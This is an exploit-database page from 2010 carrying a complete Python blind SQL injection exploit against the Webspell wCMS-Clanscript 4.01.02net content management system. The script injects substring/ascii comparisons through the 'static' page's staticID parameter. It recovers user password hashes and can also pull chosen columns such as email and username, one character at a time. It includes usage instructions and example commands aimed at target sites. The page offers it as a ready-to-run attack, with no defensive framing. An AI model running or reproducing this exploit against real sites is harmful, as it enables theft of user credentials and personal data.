Home / os / win7

[webapps / 0day] - Webspell wCMS-Clanscript4.01.02net<= s

Posted on 29 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Webspell wCMS-Clanscript4.01.02net&lt;= static&amp;static Blind SQL Injection | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Date: 29 Sep 2010 | Exploit category: webapps / 0day | Exploit author: Easy Laster | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>====================================================================== Webspell wCMS-Clanscript4.01.02net&lt;= static&amp;static Blind SQL Injection ====================================================================== #----------------------------Information------------------------------------------------ #+Autor : Easy Laster #+ICQ : 11-051-551 #+Date : 29.09.2010 #+Script : Webspell wCMS-Clanscript4.01.02net&lt;= static&amp;static Blind SQL Injection Exploit #+Price : $00,00 #+Language :PHP #+Discovered by Easy Laster #+code by Dr.ChAoS #+Security Group Undergroundagents,Free-hack and 4004-Security-Project #+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok, #Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge, #N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco, #and all member from free-hack.com. #--------------------------------------------------------------------------------------- #!/usr/bin/env python #-*- coding:utf-8 -*- import sys, urllib2, getopt def out(str): sys.stdout.write(str) sys.stdout.flush() def read_url(url): while True: try: src = urllib2.urlopen(url).read() break except: pass return src class Exploit: charset = &quot;0123456789abcdefABCDEF&quot; url = &quot;&quot; charn = 1 id = 1 table_prefix = &quot;webs_&quot; table_field = &quot;&quot; passwd = &quot;&quot; columns = [] find_passwd = True def __init__(self): if len(sys.argv) &lt; 2: print &quot;*****************************************************************************&quot; print &quot;*Webspell wCMS-Clanscript4.01.02net static&amp;static Blind SQL Injection Exploit*&quot; print &quot;*****************************************************************************&quot; print &quot;* Discovered and vulnerability by Easy Laster *&quot; print &quot;* coded by Dr.ChAoS *&quot; print &quot;*****************************************************************************&quot; print &quot;* Usage: *&quot; print &quot;* python exploit.py [OPTION...] [SWITCH...] &lt;url&gt; *&quot; print &quot;* *&quot; print &quot;* Example: *&quot; print &quot;* *&quot; print &quot;* Get the password of the user with id 2: *&quot; print &quot;* python exploit.py --id 2 http://site.de/path/ *&quot; print &quot;* *&quot; print &quot;* Get email, username and password of id 1: *&quot; print &quot;* python exploit.py --columns 80:1:email,25:5:username http://site.de/ *&quot; print &quot;* *&quot; print &quot;* Switches: *&quot; print &quot;* --nopw Search no password *&quot; print &quot;* *&quot; print &quot;* Options: *&quot; print &quot;* --id &lt;user id&gt; User id *&quot; print &quot;* --prefix &lt;table prefix&gt; Table prefix of ECP *&quot; print &quot;* --charn &lt;1 - 32, default = 1&gt; Start at position x *&quot; print &quot;* --columns &lt;max_chars:charn:column,...&gt; Get value of any column you want *&quot; print &quot;*****************************************************************************&quot; exit() opts, switches = getopt.getopt(sys.argv[1:], &quot;&quot;, [&quot;id=&quot;, &quot;prefix=&quot;, &quot;charn=&quot;, &quot;columns=&quot;, &quot;nopw&quot;]) for opt in opts: if opt[0] == &quot;--id&quot;: self.id = int(opt[1]) elif opt[0] == &quot;--prefix&quot;: self.table_prefix = opt[1] elif opt[0] == &quot;--charn&quot;: self.charn = int(opt[1]) elif opt[0] == &quot;--columns&quot;: for col in opt[1].split(&quot;,&quot;): max, charx, name = col.split(&quot;:&quot;) self.columns.append([int(max), int(charx), name, &quot;&quot;]) elif opt[0] == &quot;--nopw&quot;: self.find_passwd = False for switch in switches: if switch[:4] == &quot;http&quot;: if switch[-1:] == &quot;/&quot;: self.url = switch else: self.url = switch + &quot;/&quot; def valid_page(self, src): if &quot;http://www.wookie.de/images/baustelle.gif&quot; not in src: return True else: return False def generate_url(self, ascii): return self.url + &quot;index.php?site=static&amp;staticID=1%27+and+ascii(substring((SELECT%20&quot; + self.table_field + &quot;%20FROM%20&quot; + self.table_prefix + &quot;user+WHERE+userid=&quot; + str(self.id) + &quot;),&quot; + str(self.charn) + &quot;,1))%3E&quot; + str(ord(ascii)) + &quot;--+&quot; def start(self): print &quot;Exploiting...&quot; if self.find_passwd: charx = self.charn self.password() if len(self.columns) &gt; 0: self.read_columns() print &quot;All finished! &quot; print &quot;------ Results ------&quot; if len(self.columns) &gt; 0: for v in self.columns: print &quot;Column &quot;&quot; + v[2] + &quot;&quot;: &quot; + v[3] if self.find_passwd: if len(self.passwd) == 32 - charx + 1: print &quot;Password: &quot; + self.passwd else: print &quot;Password not found!&quot; print &quot;---------------------&quot; def read_columns(self): end = False charrange = [0] charrange.extend(range(32, 256)) for i in range(len(self.columns)): out(&quot;Getting value of &quot;&quot; + self.columns[i][2] + &quot;&quot;: &quot;) self.table_field = self.columns[i][2] self.charn = self.columns[i][1] for pwc in range(self.charn, self.columns[i][0] + 1): if end == True: break self.charn = pwc end = False for c in charrange: src = read_url(self.generate_url(chr(c))) if self.valid_page(src): if c == 0: end = True else: self.columns[i][3] += chr(c) out(chr(c)) break out(&quot; &quot;) def password(self): out(&quot;Getting password: &quot;) self.table_field = &quot;password&quot; for pwc in range(self.charn, 33): self.charn = pwc for c in self.charset: src = read_url(self.generate_url(c)) if self.valid_page(src): self.passwd += c out(c) break out(&quot; &quot;) exploit = Exploit() exploit.start() # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-29]</pre></body></html>

 

TOP